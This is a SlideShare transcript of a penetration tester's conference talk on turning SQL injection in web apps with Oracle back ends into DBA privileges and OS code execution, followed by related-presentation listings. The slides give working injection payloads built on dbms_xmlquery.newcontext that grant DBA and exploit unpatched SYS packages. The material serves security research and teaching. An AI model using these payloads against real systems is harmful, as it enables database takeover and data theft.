SlideShare a Scribd company logo
NEW AND IMPROVED:
HACKING ORACLE FROM WEB


Sumit “sid” Siddharth
7Safe Limited
UK
About 7Safe

 Part of PA Consulting Group
 Security Services
   Penetration testing
   PCI-DSS
   Forensics
   Training
   E-discovery
About Me

 Head of Penetration Testing@7Safe
 Specialising in Application and Database
  Security
 Speaker at Black Hat, DEFCON, OWASP
  Appsec etc
 Not an Oracle Geek
 Blog: www.notsosecure.com
 Twitter: notsosecure
Prelude

 There are a number of talks on hacking oracle
 Mostly it comes down to exploiting a
  vulnerable package which comes with Oracle
 What about web?
     How do we exploit a web app which has a SQL
      Injection and is communicating with an Oracle back-
      end database?
     By exploitation I don’t mean data extraction, I mean
      OS code execution (aka xp_cmdshell)
Credit to..

 The talk presents the work of a number of
  Oracle security researchers in the context of
  web application security.
 Specially David Litchfield and Esteban
 Other researchers we would like to thank:
   Alexander Kornbrust
   FerruhMavituna
Oracle Privileges- 101

 Oracle database installation comes with a
  number of default packages, procedures,
  functions etc.
 By default these procedures/functions run
  with the privilege of definer
 To change the execution privileges from
  definer to invoker keyword AUTHID
  CURRENT_USER must be defined
Hacking Oracle from Network

 If there is a SQL Injection in a procedure
  owned by SYS and PUBLIC has execute
  privileges, then its “game over”…
Owning Oracle over network

 Enumerate SID
 Enumerate users
 Connect to Oracle
 Exploit SQL injection in a procedure owned
  by SYS
 Become DBA
 Execute OS Code

Metasploit is your friend…
Owning Oracle from
network....
 E.g.
 exec SYS.LT.MERGEWORKSPACE(‘foobar''
  and SCOTT.DBA()=''Y');
 The function SCOTT. DBA() will be executed
  by SYS as it is called by the procedure
 SCOTT.DBA() has AUTHID CURRENT_USER
  defined
Hacking Oracle from Web- 101

 What happens when you find a SQL Injection
  in a web app which talks to Oracle database?
 Of-course SQL Injection is bad (remember
  SONY!)
 But how bad is it?
   Can we pwn oralce in the same way as we do over
    the network
   Can we escalate our privs and become DBA
   Can we execute OS code
SQL In Oracle

 SQL is a limited language that allows you to
  directly interact with the database.
 You can write queries (SELECT), manipulate
  data and objects (DDL, DML) with SQL.
  However, SQL doesn't include all the things
  that normal programming languages have,
  such as loops and IF...THEN...ELSE
  statements.
 Most importantly, SQL does not support
  execution of multiple statements.
SQL In Oracle....

 SQL in Oracle does not support execution of
  multiple statements.
 OS code execution is not as simple as
  executing xp_cmdshell in MSSQL.
 Not enough documentation on which exploits
  can be used from web applications.
 Not many publicly available tools for
  exploiting Oracle SQL Injections.
Hacking Oracle from web:
Part 1
 Last year I released a paper which talks about
  different attack vectors which can be used in
  different scenarios
 Lets have a quick look at some of this
Executing multiple
statements in SQL
 Only option is to find functions which lets us
  do this:
 Select * from tbl where id =‘1’ and (select
  scott.func(‘begin statement 1;statement 2
  ;end;’) from dual)= ‘a’--’
 The function can execute an anonymous
  PL/SQL block either as a feature or as a bug.
 Thank fully Oracle has some default functions
  which let’s you do this...
DBA Privileges

 Function:
  SYS.KUPP$PROC.CREATE_MASTER_PRO
  CESS()
 Function executes arbitrary PL/SQL
 Only DBA can call this function
 Executes any PL/SQL statement.
   Call DBMS_scheduler to run OS code
With DBA Privileges
JAVA IO Privileges

 Functions:
   DBMS_JAVA.RUNJAVA()
     11g R1 and R2
   DBMS_JAVA_TEST.FUNCALL()
     10g R2, 11g R1 and R2
 Java class allowing OS code execution by
  default
  –oracle/aurora/util/Wrapper
JAVA IO Privileges
DEMO: OS Code Execution with
JAVA IO Permissions
So, what’s new

 If you have either DBA role or JAVA IO privs
  then its pretty much game over
 What if you don’t have these?
 Can we not exploit vulnerable packages and
  become DBA anyways just as we would do
  while hacking oracle from n/w
2 functions which change
everything..
 dbms_xmlquery.newcontext()
 dbms_xmlquery.getxml()
   These 2 functions are available from Oracle 9i to
    11g R2
   Functions are executable by PUBLIC
   AUTHID CURRENT_USER
   Allow execution of PL/SQL Statement
So, what can you do with
these
 Although these functions are marked
  AUTHID CURRENT_USER you can still do
  stuff like:
 Exploit any vulnerable database object and
  escalate permissions
Example

 Consider a SQL Injection in an un-patched
    Oracle database
   The app connects to database with a user
    which has minimum privileges
   The database has missing CPU (nothing
    unusual)
   Exploit the vulnerability patched by CPU
   Become dba, execute code, pwn stuff.....
dbms_xmlquery.newcontext
select dbms_xmlquery.newcontext('declare PRAGMA
   AUTONOMOUS_TRANSACTION; begin execute immediate ''any
   pl/sql statement ''; commit; end;') from dual


http://vuln/index.php?id=1 and
  (select dbms_xmlquery.newcontext(‘
  declare PRAGMA AUTONOMOUS_TRANSACTION;
  begin execute immediate ''create or replace function
  pwn return varchar2 authid current_user is PRAGMA
  autonomous_transaction;BEGIN execute immediate
  ''''grant dba to scott'''';commit;return ''''z'''';END; '';
  commit; end;‘) from dual) is not null --
Example#1 SYS.LT.
CREATEWORKSPACE (CPU April
2009)
 Exploit vulnerable procedure to become DBA
 http://vuln/index.php?id=1 and (select
  dbms_xmlquery.newcontext('declare PRAGMA
  AUTONOMOUS_TRANSACTION; begin execute
  immediate ''
  begin SYS.LT.CREATEWORKSPACE(''''A10''''''''
  and
  scott.pwn()=''''''''x'''');SYS.LT.REMOVEWORKSPA
  CE(''''A10'''''''' and scott.pwn()=''''''''x'''');end;'';
  commit; end;') from dual) is not null --
DEMO
Exploiting 11g R2

 Similarly we can now exploit any vulnerable
  package within 11g R2

 sys.dbms_cdc_publish.create_change_set
 CPU: October 2010, 10gR1, 10gR2, 11g R1 and
  11gR2
Exploiting 11g R2

 select dbms_xmlquery.newcontext('declare
  PRAGMA AUTONOMOUS_TRANSACTION;
  begin execute immediate '' begin
  sys.dbms_cdc_publish.create_change_set(''''
  a'''',''''a'''',''''a''''''''||scott.pwn2()||''''''''a'''',''''Y'''',s
  ysdate,sysdate);end;''; commit; end;') from
  dual
Indirect Privilege
Escalation
 Using these functions we can call indirect
  privilege escalation vectors from web apps
 Become DBA from
   Create ANY Trigger
   CREATE ANY Procedure
   CREATE ANY VIEW
   Etc.....
Summary

 You can use the 2 functions to exploit any
  vulnerability within the back-end database
  from web to become DBA.
 The vulnerability can be in
     custom code
     Code shipped with Oracle (missing CPU)
     0 day
     Indirect privilege escalation
 After you become DBA you can execute OS
  code.
Thank You

 Questions?
 Contact: Sid@pentest.7safe.com
 Twitter: notsosecure
 Blog: www.notsosecure.com

More Related Content

What's hot (20)

Super Keyword in Java.pptx
Super Keyword in Java.pptxSuper Keyword in Java.pptx
Super Keyword in Java.pptx
KrutikaWankhade1
 
Redesigning Xen Memory Sharing (Grant) Mechanism
Redesigning Xen Memory Sharing (Grant) MechanismRedesigning Xen Memory Sharing (Grant) Mechanism
Redesigning Xen Memory Sharing (Grant) Mechanism
The Linux Foundation
 
Spring Framework 4.3から5.0へ
Spring Framework 4.3から5.0へSpring Framework 4.3から5.0へ
Spring Framework 4.3から5.0へ
movmov
 
An introduction to Struts 2 and RESTful applications
An introduction to Struts 2 and RESTful applicationsAn introduction to Struts 2 and RESTful applications
An introduction to Struts 2 and RESTful applications
mrdon
 
XPath Injection
XPath InjectionXPath Injection
XPath Injection
Roberto Suggi Liverani
 
Linux kernel tracing
Linux kernel tracingLinux kernel tracing
Linux kernel tracing
Viller Hsiao
 
React storybook
React storybookReact storybook
React storybook
Javier Jair Trejo García
 
도커 없이 컨테이너 만들기 2편
도커 없이 컨테이너 만들기 2편도커 없이 컨테이너 만들기 2편
도커 없이 컨테이너 만들기 2편
Sam Kim
 
FreeSWITCH on RedHat, Fedora, CentOS
FreeSWITCH on RedHat, Fedora, CentOSFreeSWITCH on RedHat, Fedora, CentOS
FreeSWITCH on RedHat, Fedora, CentOS
Abhishek Kumar
 
Abstract Class & Abstract Method in Core Java
Abstract Class & Abstract Method in Core JavaAbstract Class & Abstract Method in Core Java
Abstract Class & Abstract Method in Core Java
MOHIT AGARWAL
 
netLec5.pdf
netLec5.pdfnetLec5.pdf
netLec5.pdf
MuthuramanElangovan
 
Java IO
Java IOJava IO
Java IO
UTSAB NEUPANE
 
Introduction to SQLAlchemy and Alembic Migrations
Introduction to SQLAlchemy and Alembic MigrationsIntroduction to SQLAlchemy and Alembic Migrations
Introduction to SQLAlchemy and Alembic Migrations
Jason Myers
 
Inheritance OOP Concept in C++.
Inheritance OOP Concept in C++.Inheritance OOP Concept in C++.
Inheritance OOP Concept in C++.
MASQ Technologies
 
BKK16-317 How to generate power models for EAS and IPA
BKK16-317 How to generate power models for EAS and IPABKK16-317 How to generate power models for EAS and IPA
BKK16-317 How to generate power models for EAS and IPA
Linaro
 
Apache Cassandra - Drivers deep dive
Apache Cassandra - Drivers deep diveApache Cassandra - Drivers deep dive
Apache Cassandra - Drivers deep dive
Alex Thompson
 
Exception handling in JAVA
Exception handling in JAVAException handling in JAVA
Exception handling in JAVA
Kunal Singh
 
Unit Testing in JavaScript with MVC and QUnit
Unit Testing in JavaScript with MVC and QUnitUnit Testing in JavaScript with MVC and QUnit
Unit Testing in JavaScript with MVC and QUnit
Lars Thorup
 
BKK16-208 EAS
BKK16-208 EASBKK16-208 EAS
BKK16-208 EAS
Linaro
 
스프링캠프 2016 발표 - Deep dive into spring boot autoconfiguration
스프링캠프 2016 발표 - Deep dive into spring boot autoconfiguration스프링캠프 2016 발표 - Deep dive into spring boot autoconfiguration
스프링캠프 2016 발표 - Deep dive into spring boot autoconfiguration
수홍 이
 
Super Keyword in Java.pptx
Super Keyword in Java.pptxSuper Keyword in Java.pptx
Super Keyword in Java.pptx
KrutikaWankhade1
 
Redesigning Xen Memory Sharing (Grant) Mechanism
Redesigning Xen Memory Sharing (Grant) MechanismRedesigning Xen Memory Sharing (Grant) Mechanism
Redesigning Xen Memory Sharing (Grant) Mechanism
The Linux Foundation
 
Spring Framework 4.3から5.0へ
Spring Framework 4.3から5.0へSpring Framework 4.3から5.0へ
Spring Framework 4.3から5.0へ
movmov
 
An introduction to Struts 2 and RESTful applications
An introduction to Struts 2 and RESTful applicationsAn introduction to Struts 2 and RESTful applications
An introduction to Struts 2 and RESTful applications
mrdon
 
Linux kernel tracing
Linux kernel tracingLinux kernel tracing
Linux kernel tracing
Viller Hsiao
 
도커 없이 컨테이너 만들기 2편
도커 없이 컨테이너 만들기 2편도커 없이 컨테이너 만들기 2편
도커 없이 컨테이너 만들기 2편
Sam Kim
 
FreeSWITCH on RedHat, Fedora, CentOS
FreeSWITCH on RedHat, Fedora, CentOSFreeSWITCH on RedHat, Fedora, CentOS
FreeSWITCH on RedHat, Fedora, CentOS
Abhishek Kumar
 
Abstract Class & Abstract Method in Core Java
Abstract Class & Abstract Method in Core JavaAbstract Class & Abstract Method in Core Java
Abstract Class & Abstract Method in Core Java
MOHIT AGARWAL
 
Introduction to SQLAlchemy and Alembic Migrations
Introduction to SQLAlchemy and Alembic MigrationsIntroduction to SQLAlchemy and Alembic Migrations
Introduction to SQLAlchemy and Alembic Migrations
Jason Myers
 
Inheritance OOP Concept in C++.
Inheritance OOP Concept in C++.Inheritance OOP Concept in C++.
Inheritance OOP Concept in C++.
MASQ Technologies
 
BKK16-317 How to generate power models for EAS and IPA
BKK16-317 How to generate power models for EAS and IPABKK16-317 How to generate power models for EAS and IPA
BKK16-317 How to generate power models for EAS and IPA
Linaro
 
Apache Cassandra - Drivers deep dive
Apache Cassandra - Drivers deep diveApache Cassandra - Drivers deep dive
Apache Cassandra - Drivers deep dive
Alex Thompson
 
Exception handling in JAVA
Exception handling in JAVAException handling in JAVA
Exception handling in JAVA
Kunal Singh
 
Unit Testing in JavaScript with MVC and QUnit
Unit Testing in JavaScript with MVC and QUnitUnit Testing in JavaScript with MVC and QUnit
Unit Testing in JavaScript with MVC and QUnit
Lars Thorup
 
BKK16-208 EAS
BKK16-208 EASBKK16-208 EAS
BKK16-208 EAS
Linaro
 
스프링캠프 2016 발표 - Deep dive into spring boot autoconfiguration
스프링캠프 2016 발표 - Deep dive into spring boot autoconfiguration스프링캠프 2016 발표 - Deep dive into spring boot autoconfiguration
스프링캠프 2016 발표 - Deep dive into spring boot autoconfiguration
수홍 이
 

Viewers also liked (20)

Total Stress Management Guide For Nurses Dr Shriniwas Kashalikar
Total Stress Management Guide For Nurses Dr Shriniwas KashalikarTotal Stress Management Guide For Nurses Dr Shriniwas Kashalikar
Total Stress Management Guide For Nurses Dr Shriniwas Kashalikar
shivsr5
 
Xullo
XulloXullo
Xullo
Marlou
 
Spaans a2 ln 22 09-2014
Spaans a2 ln 22 09-2014Spaans a2 ln 22 09-2014
Spaans a2 ln 22 09-2014
SpaanIt
 
Perniola parte 1 de 5 estetica de la vida
Perniola parte 1 de 5 estetica de la vidaPerniola parte 1 de 5 estetica de la vida
Perniola parte 1 de 5 estetica de la vida
manual comic
 
Ita b1 18 3-2013
Ita b1 18 3-2013Ita b1 18 3-2013
Ita b1 18 3-2013
SpaanIt
 
Hay que ponerle un poco de humor a la vida
Hay que ponerle un poco de humor a la vidaHay que ponerle un poco de humor a la vida
Hay que ponerle un poco de humor a la vida
liandola
 
Spiritualism Materialism And Namasmaran Dr. Shriniwas J. Kashalikar
Spiritualism Materialism And Namasmaran  Dr. Shriniwas J.  KashalikarSpiritualism Materialism And Namasmaran  Dr. Shriniwas J.  Kashalikar
Spiritualism Materialism And Namasmaran Dr. Shriniwas J. Kashalikar
shivsr5
 
Public exploit held private – penetration testing the researcher’s way tama...
Public exploit held private – penetration testing the researcher’s way   tama...Public exploit held private – penetration testing the researcher’s way   tama...
Public exploit held private – penetration testing the researcher’s way tama...
owaspindia
 
The Core Of Sex Dr Shriniwas Kashalikar
The Core Of Sex Dr Shriniwas KashalikarThe Core Of Sex Dr Shriniwas Kashalikar
The Core Of Sex Dr Shriniwas Kashalikar
shivsr5
 
Problemas de lógica I
Problemas de lógica IProblemas de lógica I
Problemas de lógica I
amendez1987
 
the Presentation of school Braslovce
 the Presentation of school Braslovce the Presentation of school Braslovce
the Presentation of school Braslovce
Tamara Jeraj
 
WUD 2009 - Użyteczna magia Google Analytics
WUD 2009 - Użyteczna magia Google AnalyticsWUD 2009 - Użyteczna magia Google Analytics
WUD 2009 - Użyteczna magia Google Analytics
World Usability Day Tour 2009
 
Fanzine no.6 taller 7 enpeg 2015 ana bell chino edición
Fanzine no.6 taller 7 enpeg 2015 ana bell chino ediciónFanzine no.6 taller 7 enpeg 2015 ana bell chino edición
Fanzine no.6 taller 7 enpeg 2015 ana bell chino edición
manual comic
 
Ita a2 ms 07 10-15
Ita a2 ms 07 10-15Ita a2 ms 07 10-15
Ita a2 ms 07 10-15
SpaanIt
 
Inventos curiosos
Inventos curiososInventos curiosos
Inventos curiosos
liandola
 
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4hackers.com
 
Prevenir y manejar el Bullying
Prevenir y manejar el BullyingPrevenir y manejar el Bullying
Prevenir y manejar el Bullying
Jhon Becerra
 
Identity & Access Management by K. K. Mookhey
Identity & Access Management by K. K. MookheyIdentity & Access Management by K. K. Mookhey
Identity & Access Management by K. K. Mookhey
Network Intelligence India
 
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23
Chase Schultz
 
Eca 12 logica
Eca 12   logicaEca 12   logica
Eca 12 logica
Ness Rendon
 
Total Stress Management Guide For Nurses Dr Shriniwas Kashalikar
Total Stress Management Guide For Nurses Dr Shriniwas KashalikarTotal Stress Management Guide For Nurses Dr Shriniwas Kashalikar
Total Stress Management Guide For Nurses Dr Shriniwas Kashalikar
shivsr5
 
Spaans a2 ln 22 09-2014
Spaans a2 ln 22 09-2014Spaans a2 ln 22 09-2014
Spaans a2 ln 22 09-2014
SpaanIt
 
Perniola parte 1 de 5 estetica de la vida
Perniola parte 1 de 5 estetica de la vidaPerniola parte 1 de 5 estetica de la vida
Perniola parte 1 de 5 estetica de la vida
manual comic
 
Ita b1 18 3-2013
Ita b1 18 3-2013Ita b1 18 3-2013
Ita b1 18 3-2013
SpaanIt
 
Hay que ponerle un poco de humor a la vida
Hay que ponerle un poco de humor a la vidaHay que ponerle un poco de humor a la vida
Hay que ponerle un poco de humor a la vida
liandola
 
Spiritualism Materialism And Namasmaran Dr. Shriniwas J. Kashalikar
Spiritualism Materialism And Namasmaran  Dr. Shriniwas J.  KashalikarSpiritualism Materialism And Namasmaran  Dr. Shriniwas J.  Kashalikar
Spiritualism Materialism And Namasmaran Dr. Shriniwas J. Kashalikar
shivsr5
 
Public exploit held private – penetration testing the researcher’s way tama...
Public exploit held private – penetration testing the researcher’s way   tama...Public exploit held private – penetration testing the researcher’s way   tama...
Public exploit held private – penetration testing the researcher’s way tama...
owaspindia
 
The Core Of Sex Dr Shriniwas Kashalikar
The Core Of Sex Dr Shriniwas KashalikarThe Core Of Sex Dr Shriniwas Kashalikar
The Core Of Sex Dr Shriniwas Kashalikar
shivsr5
 
Problemas de lógica I
Problemas de lógica IProblemas de lógica I
Problemas de lógica I
amendez1987
 
the Presentation of school Braslovce
 the Presentation of school Braslovce the Presentation of school Braslovce
the Presentation of school Braslovce
Tamara Jeraj
 
Fanzine no.6 taller 7 enpeg 2015 ana bell chino edición
Fanzine no.6 taller 7 enpeg 2015 ana bell chino ediciónFanzine no.6 taller 7 enpeg 2015 ana bell chino edición
Fanzine no.6 taller 7 enpeg 2015 ana bell chino edición
manual comic
 
Ita a2 ms 07 10-15
Ita a2 ms 07 10-15Ita a2 ms 07 10-15
Ita a2 ms 07 10-15
SpaanIt
 
Inventos curiosos
Inventos curiososInventos curiosos
Inventos curiosos
liandola
 
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4hackers.com
 
Prevenir y manejar el Bullying
Prevenir y manejar el BullyingPrevenir y manejar el Bullying
Prevenir y manejar el Bullying
Jhon Becerra
 
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23
Pwning Iot via Hardware Attacks - Chase Schultz - IoT Village - Defcon 23
Chase Schultz
 

Similar to New and improved hacking oracle from web apps sumit sidharth (20)

Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9
sumsid1234
 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
guest785f78
 
Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]
RootedCON
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
Ferruh Mavituna
 
One Click Provisioning With Enterprise Manager 12c
One Click Provisioning With Enterprise Manager 12cOne Click Provisioning With Enterprise Manager 12c
One Click Provisioning With Enterprise Manager 12c
Josh Turner
 
SQLCLR For DBAs and Developers
SQLCLR For DBAs and DevelopersSQLCLR For DBAs and Developers
SQLCLR For DBAs and Developers
webhostingguy
 
Dr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. HydeDr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. Hyde
webhostingguy
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
fangjiafu
 
SQL Injection - Newsletter
SQL Injection - NewsletterSQL Injection - Newsletter
SQL Injection - Newsletter
Smitha Padmanabhan
 
Cursor injection
Cursor injectionCursor injection
Cursor injection
fangjiafu
 
SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.
Dmitry Iudin
 
Os Owens
Os OwensOs Owens
Os Owens
oscon2007
 
Play framework
Play frameworkPlay framework
Play framework
Andrew Skiba
 
Exploit ie using scriptable active x controls version English
Exploit ie using scriptable active x controls version EnglishExploit ie using scriptable active x controls version English
Exploit ie using scriptable active x controls version English
chen yuki
 
A MySQL Odyssey - A Blackhole Crossover
A MySQL Odyssey - A Blackhole CrossoverA MySQL Odyssey - A Blackhole Crossover
A MySQL Odyssey - A Blackhole Crossover
Keith Hollman
 
Fine line between performance and security
Fine line between performance and securityFine line between performance and security
Fine line between performance and security
Almudena Vivanco
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
Mario Heiderich
 
13 java in oracle
13 java in oracle13 java in oracle
13 java in oracle
Graham Royce
 
Understanding Framework Architecture using Eclipse
Understanding Framework Architecture using EclipseUnderstanding Framework Architecture using Eclipse
Understanding Framework Architecture using Eclipse
anshunjain
 
create-netflix-clone-02-server_transcript.pdf
create-netflix-clone-02-server_transcript.pdfcreate-netflix-clone-02-server_transcript.pdf
create-netflix-clone-02-server_transcript.pdf
ShaiAlmog1
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9
sumsid1234
 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
guest785f78
 
Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]
RootedCON
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
Ferruh Mavituna
 
One Click Provisioning With Enterprise Manager 12c
One Click Provisioning With Enterprise Manager 12cOne Click Provisioning With Enterprise Manager 12c
One Click Provisioning With Enterprise Manager 12c
Josh Turner
 
SQLCLR For DBAs and Developers
SQLCLR For DBAs and DevelopersSQLCLR For DBAs and Developers
SQLCLR For DBAs and Developers
webhostingguy
 
Dr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. HydeDr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. Hyde
webhostingguy
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
fangjiafu
 
Cursor injection
Cursor injectionCursor injection
Cursor injection
fangjiafu
 
SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.
Dmitry Iudin
 
Exploit ie using scriptable active x controls version English
Exploit ie using scriptable active x controls version EnglishExploit ie using scriptable active x controls version English
Exploit ie using scriptable active x controls version English
chen yuki
 
A MySQL Odyssey - A Blackhole Crossover
A MySQL Odyssey - A Blackhole CrossoverA MySQL Odyssey - A Blackhole Crossover
A MySQL Odyssey - A Blackhole Crossover
Keith Hollman
 
Fine line between performance and security
Fine line between performance and securityFine line between performance and security
Fine line between performance and security
Almudena Vivanco
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
Mario Heiderich
 
Understanding Framework Architecture using Eclipse
Understanding Framework Architecture using EclipseUnderstanding Framework Architecture using Eclipse
Understanding Framework Architecture using Eclipse
anshunjain
 
create-netflix-clone-02-server_transcript.pdf
create-netflix-clone-02-server_transcript.pdfcreate-netflix-clone-02-server_transcript.pdf
create-netflix-clone-02-server_transcript.pdf
ShaiAlmog1
 

More from owaspindia (7)

Real time evaluation of national network exposure to emerging threats - fyodo...
Real time evaluation of national network exposure to emerging threats - fyodo...Real time evaluation of national network exposure to emerging threats - fyodo...
Real time evaluation of national network exposure to emerging threats - fyodo...
owaspindia
 
Mobile application security – effective methodology, efficient testing! hem...
Mobile application security – effective methodology, efficient testing!   hem...Mobile application security – effective methodology, efficient testing!   hem...
Mobile application security – effective methodology, efficient testing! hem...
owaspindia
 
International approaches to critical information infrastructure protection ...
International approaches to critical information infrastructure protection   ...International approaches to critical information infrastructure protection   ...
International approaches to critical information infrastructure protection ...
owaspindia
 
Getting the end point security right! - k. k. mookhey
Getting the end point security right! - k. k. mookheyGetting the end point security right! - k. k. mookhey
Getting the end point security right! - k. k. mookhey
owaspindia
 
From app sec to malsec malware hooked, criminal crooked alok gupta
From app sec to malsec malware hooked, criminal crooked   alok guptaFrom app sec to malsec malware hooked, criminal crooked   alok gupta
From app sec to malsec malware hooked, criminal crooked alok gupta
owaspindia
 
Find me if you can – smart fuzzing and discovery! shreeraj shah
Find me if you can – smart fuzzing and discovery!   shreeraj shahFind me if you can – smart fuzzing and discovery!   shreeraj shah
Find me if you can – smart fuzzing and discovery! shreeraj shah
owaspindia
 
The magic of passive web vulnerability analysis lava kumar
The magic of passive web vulnerability analysis   lava kumarThe magic of passive web vulnerability analysis   lava kumar
The magic of passive web vulnerability analysis lava kumar
owaspindia
 
Real time evaluation of national network exposure to emerging threats - fyodo...
Real time evaluation of national network exposure to emerging threats - fyodo...Real time evaluation of national network exposure to emerging threats - fyodo...
Real time evaluation of national network exposure to emerging threats - fyodo...
owaspindia
 
Mobile application security – effective methodology, efficient testing! hem...
Mobile application security – effective methodology, efficient testing!   hem...Mobile application security – effective methodology, efficient testing!   hem...
Mobile application security – effective methodology, efficient testing! hem...
owaspindia
 
International approaches to critical information infrastructure protection ...
International approaches to critical information infrastructure protection   ...International approaches to critical information infrastructure protection   ...
International approaches to critical information infrastructure protection ...
owaspindia
 
Getting the end point security right! - k. k. mookhey
Getting the end point security right! - k. k. mookheyGetting the end point security right! - k. k. mookhey
Getting the end point security right! - k. k. mookhey
owaspindia
 
From app sec to malsec malware hooked, criminal crooked alok gupta
From app sec to malsec malware hooked, criminal crooked   alok guptaFrom app sec to malsec malware hooked, criminal crooked   alok gupta
From app sec to malsec malware hooked, criminal crooked alok gupta
owaspindia
 
Find me if you can – smart fuzzing and discovery! shreeraj shah
Find me if you can – smart fuzzing and discovery!   shreeraj shahFind me if you can – smart fuzzing and discovery!   shreeraj shah
Find me if you can – smart fuzzing and discovery! shreeraj shah
owaspindia
 
The magic of passive web vulnerability analysis lava kumar
The magic of passive web vulnerability analysis   lava kumarThe magic of passive web vulnerability analysis   lava kumar
The magic of passive web vulnerability analysis lava kumar
owaspindia
 

Recently uploaded (20)

Bepents tech services - a premier cybersecurity consulting firm
Bepents tech services - a premier cybersecurity consulting firmBepents tech services - a premier cybersecurity consulting firm
Bepents tech services - a premier cybersecurity consulting firm
Benard76
 
Viam product demo_ Deploying and scaling AI with hardware.pdf
Viam product demo_ Deploying and scaling AI with hardware.pdfViam product demo_ Deploying and scaling AI with hardware.pdf
Viam product demo_ Deploying and scaling AI with hardware.pdf
camilalamoratta
 
Unlocking Generative AI in your Web Apps
Unlocking Generative AI in your Web AppsUnlocking Generative AI in your Web Apps
Unlocking Generative AI in your Web Apps
Maximiliano Firtman
 
RTP Over QUIC: An Interesting Opportunity Or Wasted Time?
RTP Over QUIC: An Interesting Opportunity Or Wasted Time?RTP Over QUIC: An Interesting Opportunity Or Wasted Time?
RTP Over QUIC: An Interesting Opportunity Or Wasted Time?
Lorenzo Miniero
 
Enterprise Integration Is Dead! Long Live AI-Driven Integration with Apache C...
Enterprise Integration Is Dead! Long Live AI-Driven Integration with Apache C...Enterprise Integration Is Dead! Long Live AI-Driven Integration with Apache C...
Enterprise Integration Is Dead! Long Live AI-Driven Integration with Apache C...
Markus Eisele
 
Top-AI-Based-Tools-for-Game-Developers (1).pptx
Top-AI-Based-Tools-for-Game-Developers (1).pptxTop-AI-Based-Tools-for-Game-Developers (1).pptx
Top-AI-Based-Tools-for-Game-Developers (1).pptx
BR Softech
 
How to Install & Activate ListGrabber - eGrabber
How to Install & Activate ListGrabber - eGrabberHow to Install & Activate ListGrabber - eGrabber
How to Install & Activate ListGrabber - eGrabber
eGrabber
 
AI x Accessibility UXPA by Stew Smith and Olivier Vroom
AI x Accessibility UXPA by Stew Smith and Olivier VroomAI x Accessibility UXPA by Stew Smith and Olivier Vroom
AI x Accessibility UXPA by Stew Smith and Olivier Vroom
UXPA Boston
 
AsyncAPI v3 : Streamlining Event-Driven API Design
AsyncAPI v3 : Streamlining Event-Driven API DesignAsyncAPI v3 : Streamlining Event-Driven API Design
AsyncAPI v3 : Streamlining Event-Driven API Design
leonid54
 
AI-proof your career by Olivier Vroom and David WIlliamson
AI-proof your career by Olivier Vroom and David WIlliamsonAI-proof your career by Olivier Vroom and David WIlliamson
AI-proof your career by Olivier Vroom and David WIlliamson
UXPA Boston
 
An Overview of Salesforce Health Cloud & How is it Transforming Patient Care
An Overview of Salesforce Health Cloud & How is it Transforming Patient CareAn Overview of Salesforce Health Cloud & How is it Transforming Patient Care
